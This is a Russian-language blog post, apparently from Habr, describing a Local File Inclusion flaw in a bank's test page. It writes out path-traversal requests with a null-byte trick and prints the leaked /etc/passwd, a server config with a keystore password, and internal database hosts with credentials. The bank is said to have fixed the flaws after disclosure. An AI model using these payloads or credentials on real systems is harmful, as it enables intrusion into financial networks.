Pull to refresh

История одного проникновения

Information Security *
Топики о ловли хакеров заставили меня написать этот пост.

Хочу поделиться с вами историей, которая случилась со мной несколько лет назад.

Сразу скажу, мое увлечение — безопасность веб-приложений.

Случайно гуляя по интернету, мой друг нашел сайт для отправки бесплатных смс на номера украинских операторов. Там мы нашли небольшую уязвимость, связанную с обходом теста Тьюринга (каптчи).
Так как я и мой друг любим искать уязвимости, мы играли в игру, смыслом которой, кто из нас быстрей обойдет каптчу.
Но сегодня рассказ не об этом, а о том, что же было дальше нами обнаружено.



Однажды, мой друг, просматривая исходный код страницы сайта для отправки бесплатных смс обнаружил интересный HTML код:
<A HREF="#" onClick="javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=service_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS="header"><IMG SRC="www.sms1.ua/img/topupeasy.jpg" WIDTH="82"
HEIGHT="34" ALT="Пополняй легко!" BORDER="0" VSPACE="0"></A>  


Ссылка, которая по логике должна скачивать файл на компьютер была для нас очень даже интересной.

Не прошло и 5 минут как мы обнаружили уязвимость Local File Inclusion

Уязвимость заключалась в следующей ссылке:

hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=<local_file>


С помощью этой уязвимости можно читать локальные файлы прямо в браузере.

Мы сделали запрос к серверу на несуществующий файл, и вот что получили:

Запрос на url:
hackbank.ua/test?&xslt_url=0


Ответ сервера был примерно таким:
500 Servlet Exception                                                                                         

...........................

Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)  



Честное слово, я тогда первый раз услышал о Resin'е
А Resin — это высокопроизводительный сервер приложений включающий в себя такие черты как масштабируемость, и распределение нагрузки.

Информация о продукте, которую нам удалось узнать в Википедии на то время:

Логотип компании Caucho Technology, Inc.
Тип Сервер приложений
Разработчик Caucho Technology, Inc.
ОС Кроссплатформенное программное обеспечение
Текущая версия 3.1.1 — май 2007
Лицензия GPL Собственническое ПО
Сайт www.caucho.com (англ.)

Информация в Википедии


После скачиванию этого ПО, мы приступили к его изучению.

И так, структура папок программного обеспечения Resin:

¦   configure
¦   httpd.exe
¦   LICENSE
¦   Makefile.in
¦   README
¦   setup.exe
¦
+---automake
¦       config.guess
¦       config.sub
¦       install-sh
¦       ltmain.sh
¦       missing
¦
+---bin
¦       httpd.sh
¦
+---conf
¦       app-default.xml
¦       development.conf
¦       fine.conf
¦       minimal.conf
¦       password.xml
¦       resin-3_1.conf
¦       resin-admin.xml
¦       resin.conf
¦
+---contrib
¦       init.resin-iptables
¦       init.resin.in
¦
+---lib
¦       activation.jar
¦       eclipse-compil






А теперь давайте вернемся к уязвимости.

Начнём с классики:
По ссылке hackbank.ua/test?xslt_url=../../../../../../etc/passwd

получаем такой вывод:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
ident:x:100:101::/home/ident:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Servic


Потом мы начали искать, где локально хранится папка /conf сервера Resin
И нашли, довольно быстро.
Конфиг — это XML файл. Который был доступен по ссылке hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00

%00 — это null-byte, говорит веб-серверу, что это конец строки.


Далее смотрим исходный код полученного файла.
<?xml version="1.0" encoding="utf-8"?>
<resin xmlns:resin="caucho.com/ns/resin/core" xmlns="caucho.com/ns/resin">
  <server>
    <http port="1080"/>
    <http port="10443">
      <jsse-ssl>
        <key-store-type>JKS</key-store-type>
        <key-store-file>keys/hackbank.jks</key-store-file>
        <password>fynbxfn</password>
        <key-manager-factory>6645b</key-manager-factory>
        <ssl-context>SSL</ssl-context>
      </jsse-ssl>
    </http>
    <host id="" root-directory=".">
      <access-log path="log/access.log" format="%h %l %u %t &quot;%r&quot; %s %b &quot;%i&quot; &quot;%i&quot;" rollover-period="1W"/>
      <stderr-log path="log/stderr.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
      <stdout-log path="log/stdout.log" rollover-period="1W"/>
      <log path="log/server.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
      <web-app id="/" document-directory="webapps/ROOT"/>
      <ear-deploy path="deploy">
        <ear-default ejb-server-jndi-name="java:comp/env/ejb">
          <ejb-server jndi-name="java:comp/env/ejb"/>
        </ear-default>
      </ear-deploy>
      <web-app-deploy path="webapps"/>
      <resource-deploy path="deploy"/>
      <web-app-deploy path="deploy"/>
    </host>
    <resin:import path="$/conf/db-pool.xml"/>
    <resin:import path="$/conf/c2b-db-pool.xml"/>
    <resin:import path="$/conf/db-pool-qp.xml"/>
    <resin:import path="$/conf/hb-default.xml"/>
    <resin:import path="$/conf/resin-status.xml"/>
  </server>
  <resin:import path="$/conf/resin-common.xml"/>
</resin>


Здесь все логи веб-сервера:

hackbank.ua/test?xslt_url=../../../../../../log/access.log
hackbank.ua/test?xslt_url=../../../../../../log/stderr.log
hackbank.ua/test?xslt_url=../../../../../../log/server.log


Там ничего интересного мы не нашли. Но мы пошли дальше :)

Файл ../../../../../../conf/c2b-db-pool.xml%00:

10.1.101.195:5000
-----------------
user     : C2BServer
password : vsirfysy

10.1.100.105:5000
-----------------
user     : C2BServer
password : lfktrbq,thtu

10.1.100.115:5000
----------------
user     : jbkl
password :123456


Файл ../../../../../../conf/db-pool.xml%00:

10.1.101.51:5000
-------------------
user     : е16_jag
password : u4BKoc7U5Edo

10.1.100.77:5000
-------------------
user     : hskl
password : hsklhskl

10.1.99.49:4100
------------------
user     : wbpfo_p424
password : aUKlOfcvT4YmAnk

10.1.99.82:5000
------------------
user     : P24CVC
password : Login_4_P424CVC


Угадайте что это? Правильно, это доступ к другим серверам внутренней сети банка :)

На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка. Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо, и через неделю на радость нам уязвимости починили.

Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем.

По всем вопросам обращайтесь на vadim@g-sg.net

* Внимание! Все ссылки, а также название банка изменены по соображениям анонимности *


Спасибо за внимание!

UPD. Все ошибки в тексте пишите в приватные сообщения. Спасибо!
Tags:
Hubs:
Total votes 145: ↑121 and ↓24 +97
Views 3.9K
Comments Comments 68